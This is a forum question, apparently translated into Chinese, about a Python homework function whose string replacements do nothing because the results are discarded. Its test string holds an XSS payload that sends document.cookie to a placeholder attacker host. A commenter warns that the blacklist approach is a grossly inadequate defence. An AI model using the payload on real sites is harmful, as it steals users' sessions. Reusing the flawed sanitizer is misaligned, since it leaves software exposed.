我想要替换字符串中的某些关键字。这里是我的功能:为什么功能不起作用?尝试替换字符串中的单词
def clean_code(input):
input.replace('<script>', " ")
input.replace('</script>', " ")
input.replace('<a href>', " ")
input.replace('</a>', " ")
input.replace('>', ">")
input.replace('>', "<")
return input
,这里是我的其他代码和字符串:
string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"
print '\nstring1 cleaned of code'
print '------------------------'
print clean_code(string1)
我的输出如下,我不知道为什么什么都没有改变
string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
除了你看到的错误之外,即使是最基本的攻击,这也是极其不足的防御。该方法也不能很好地扩展。 – delnan
@delnan它只是作业,它不应该做任何事情 – pearbear
好的,那么,只要你知道它,不要在实际上服务于任何请求的代码中尝试这样的废话。 – delnan